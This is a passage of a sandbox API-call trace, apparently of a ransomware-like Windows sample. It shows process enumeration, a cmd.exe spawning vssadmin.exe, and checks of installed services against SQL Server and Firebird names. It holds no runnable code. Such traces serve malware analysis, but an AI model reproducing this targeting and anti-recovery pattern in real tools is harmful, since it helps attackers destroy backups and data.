(lpString="nextel-feeds.exe") returned 16 [0055.291] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0055.291] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0055.291] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0055.292] lstrlenW (lpString="perspective.exe") returned 15 [0055.292] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0055.292] lstrlenW (lpString="demand-site.exe") returned 15 [0055.292] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0055.293] lstrlenW (lpString="attachment.exe") returned 14 [0055.293] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0055.294] lstrlenW (lpString="valid-permit.exe") returned 16 [0055.294] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0055.294] lstrlenW (lpString="knights.exe") returned 11 [0055.295] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.295] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.295] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0055.296] lstrlenW (lpString="ohbdap.exe") returned 10 [0055.296] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.296] lstrlenW (lpString="cmd.exe") returned 7 [0055.296] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.297] lstrlenW (lpString="conhost.exe") returned 11 [0055.297] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0055.298] lstrlenW (lpString="vssadmin.exe") returned 12 [0055.298] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0055.298] lstrlenW (lpString="VSSVC.exe") returned 9 [0055.298] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.299] lstrlenW (lpString="svchost.exe") returned 11 [0055.299] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0055.300] CloseHandle (hObject=0x190) returned 1 [0055.300] Sleep (dwMilliseconds=0x1f4) [0055.868] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ff6d8 [0055.873] EnumServicesStatusExW (in: hSCManager=0x4ff6d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0055.901] GetLastError () returned 0xea [0055.901] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x40838f0 [0055.902] EnumServicesStatusExW (in: hSCManager=0x4ff6d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40838f0, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40838f0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0055.913] CloseServiceHandle (hSCObject=0x4ff6d8) returned 1 [0055.914] lstrlenW (lpString="Appinfo") returned 7 [0055.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.919] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.921] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.922] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.923] lstrlenW (lpString="AudioSrv") returned 8 [0055.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.926] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.926] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.926] lstrlenW (lpString="BFE") returned 3 [0055.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.927] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.927] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.927] lstrlenW (lpString="CryptSvc") returned 8 [0055.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.927] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.927] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.927] lstrlenW (lpString="CscService") returned 10 [0055.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.927] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.927] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.927] lstrlenW (lpString="DcomLaunch") returned 10 [0055.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.927] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.927] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.927] lstrlenW (lpString="Dhcp") returned 4 [0055.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.927] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.927] lstrlenW (lpString="Dnscache") returned 8 [0055.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.928] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.928] lstrlenW (lpString="DPS") returned 3 [0055.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.928] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.928] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.928] lstrlenW (lpString="eventlog") returned 8 [0055.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.928] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.928] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.928] lstrlenW (lpString="EventSystem") returned 11 [0055.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.928] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.928] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.928] lstrlenW (lpString="gpsvc") returned 5 [0055.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.928] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.928] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.928] lstrlenW (lpString="iphlpsvc") returned 8 [0055.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.928] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.928] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.928] lstrlenW (lpString="LanmanServer") returned 12 [0055.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.929] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.929] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.929] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.931] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.933] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.934] lstrlenW (lpString="lmhosts") returned 7 [0055.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.936] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.936] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.937] lstrlenW (lpString="MMCSS") returned 5 [0055.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.940] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.940] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.941] lstrlenW (lpString="MpsSvc") returned 6 [0055.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.943] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.943] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.945] lstrlenW (lpString="Netman") returned 6 [0055.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.949] lstrlenW (lpString="netprofm") returned 8 [0055.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.951] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.952] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.953] lstrlenW (lpString="NlaSvc") returned 6 [0055.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.954] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.955] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.957] lstrlenW (lpString="nsi") returned 3 [0055.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.959] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.960] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.961] lstrlenW (lpString="PcaSvc") returned 6 [0055.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.963] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.965] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.965] lstrlenW (lpString="PlugPlay") returned 8 [0055.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.967] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.967] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.968] lstrlenW (lpString="Power") returned 5 [0055.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.973] lstrlenW (lpString="ProfSvc") returned 7 [0055.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.974] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.975] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.977] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.978] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.979] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.980] lstrlenW (lpString="RpcSs") returned 5 [0055.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.982] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.983] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.984] lstrlenW (lpString="SamSs") returned 5 [0055.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.986] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.987] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.988] lstrlenW (lpString="Schedule") returned 8 [0055.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.991] lstrlenW (lpString="SENS") returned 4 [0055.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.991] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.991] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.992] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.992] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.992] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.992] lstrlenW (lpString="Spooler") returned 7 [0055.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.992] lstrlenW (lpString="swprv") returned 5 [0055.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0055.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0055.992] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0055.992] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0055.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0055.992] lstrlenW (lpString="SysMain") returned 7 [0055.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.992] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.992] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.992] lstrlenW (lpString="Themes") returned 6 [0055.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.992] lstrlenW (lpString="TrkWks") returned 6 [0055.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.993] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.993] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.993] lstrlenW (lpString="UxSms") returned 5 [0055.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.993] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.993] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.993] lstrlenW (lpString="VSS") returned 3 [0055.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.993] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.993] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.993] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.993] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.993] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.993] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.993] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.993] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.993] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.993] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.994] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.994] lstrcmpiW 